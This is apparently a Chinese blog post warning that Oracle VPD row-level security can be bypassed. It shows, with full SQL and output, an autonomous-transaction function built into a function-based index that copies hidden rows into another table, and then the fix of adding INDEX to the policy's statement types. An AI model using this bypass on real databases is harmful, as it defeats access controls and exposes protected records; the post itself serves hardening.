当需要对部分用户屏蔽掉表中的敏感记录时，我们往往会使用VPD，比如下面这个例子中我们想屏蔽掉user_id<30的所有记录

--connect as sysdba
create user vpd1 identified by "123456" default tablespace test1;
grant execute on dbms_rls to vpd1;
grant create any context to vpd1;
grant resource,create session to vpd1;

--connect as vpd1
create table t0828_1 as select * from all_users order by user_id;
set pagesize 100
select * from t0828_1;
USERNAME USER_ID CREATED
------------------------------ ---------- ---------
SYS 0 18-JUN-16
SYSTEM 5 18-JUN-16
OUTLN 9 18-JUN-16
DIP 14 18-JUN-16
ORACLE_OCM 21 18-JUN-16
DBSNMP 30 18-JUN-16
APPQOSSYS 31 18-JUN-16
WMSYS 32 18-JUN-16
XDB 34 18-JUN-16
ANONYMOUS 35 18-JUN-16
SCOTT 42 25-JUN-16
VPD1 44 28-AUG-16
XS$NULL 2147483638 18-JUN-16

13 rows selected.

于是我们部署VPD:

###创建policy function
--connect as vpd1
create or replace function t0828_pf1(input_schema varchar2,input_objname varchar2) return varchar2 as
v_predicate varchar2(100);
begin
v_predicate:='user_id >= 30';
return v_predicate;
end;
/

###创建policy
--connect as vpd1
exec dbms_rls.add_policy(object_schema=>'vpd1',object_name=>'t0828_1',policy_name=>'t0828_ply1',function_schema=>'vpd1',policy_function=>'t0828_pf1',update_check=>TRUE,statement_types=>'SELECT,INSERT,UPDATE,DELETE');

###测试VPD策略生效
--connect vpd1
select * from vpd1.t0828_1;
USERNAME USER_ID CREATED
------------------------------ ---------- ---------
DBSNMP 30 18-JUN-16
APPQOSSYS 31 18-JUN-16
WMSYS 32 18-JUN-16
XDB 34 18-JUN-16
ANONYMOUS 35 18-JUN-16
SCOTT 42 25-JUN-16
VPD1 44 28-AUG-16
XS$NULL 2147483638 18-JUN-16

8 rows selected.

到这里似乎已经结束了，但vpd1用户为了能看到user_id < 30的记录，他可以这样做

create table t0828_1_copy as select * from all_users where 1=2;

create or replace function fun_uname (uname in varchar2)
return varchar2 deterministic is pragma autonomous_transaction;
begin
insert into t0828_1_copy(username,user_id,created) values(uname,1,sysdate);
commit;
return (uname);
end fun_uname;
/

create index ind_uname on t0828_1(fun_uname(username)); <---在创建函数索引ind_uname的时候将记录插入到了t0828_1_copy表

select * from t0828_1 where (fun_uname(username)) > 'A'; <---查询结果证明VPD已生效
USERNAME USER_ID CREATED
------------------------------ ---------- ---------
ANONYMOUS 35 18-JUN-16
APPQOSSYS 31 18-JUN-16
DBSNMP 30 18-JUN-16
SCOTT 42 25-JUN-16
VPD1 44 28-AUG-16
WMSYS 32 18-JUN-16
XDB 34 18-JUN-16
XS$NULL 2147483638 18-JUN-16

8 rows selected.

select * from t0828_1_copy;

USERNAME USER_ID CREATED
------------------------------ ---------- ---------
SYS 1 28-AUG-16 <---得益于函数索引的创建，用户名一览无余
DBSNMP 1 28-AUG-16
SYS 1 28-AUG-16
SYSTEM 1 28-AUG-16
OUTLN 1 28-AUG-16
DIP 1 28-AUG-16
ORACLE_OCM 1 28-AUG-16
DBSNMP 1 28-AUG-16
APPQOSSYS 1 28-AUG-16
WMSYS 1 28-AUG-16
XDB 1 28-AUG-16
ANONYMOUS 1 28-AUG-16
SCOTT 1 28-AUG-16
VPD1 1 28-AUG-16
XS$NULL 1 28-AUG-16

所以更安全的做法是在VPD policy里除了SELECT,INSERT,UPDATE,DELETE外还要加上INDEX

###重新创建VPD policy，加上INDEX
exec dbms_rls.drop_policy(object_schema=>'vpd1',object_name=>'t0828_1',policy_name=>'t0828_ply1');
exec dbms_rls.add_policy(object_schema=>'vpd1',object_name=>'t0828_1',policy_name=>'t0828_ply1',function_schema=>'vpd1',policy_function=>'t0828_pf1',update_check=>TRUE,statement_types=>'SELECT,INSERT,UPDATE,DELETE,INDEX');

这次创建索引失败：
drop index ind_uname;

truncate table t0828_1_copy;

create index ind_uname on t0828_1(fun_uname(username));
*
ERROR at line 1:
ORA-28133: full table access is restricted by fine-grained security

select * from t0828_1 where (fun_uname(username)) > 'A';
USERNAME USER_ID CREATED
------------------------------ ---------- ---------
DBSNMP 30 18-JUN-16
APPQOSSYS 31 18-JUN-16
WMSYS 32 18-JUN-16
XDB 34 18-JUN-16
ANONYMOUS 35 18-JUN-16
SCOTT 42 25-JUN-16
VPD1 44 28-AUG-16
XS$NULL 2147483638 18-JUN-16

8 rows selected.

select * from t0828_1_copy;

no rows selected

ITPub博客

函数索引可能使VPD形同虚设的一则警示

最新文章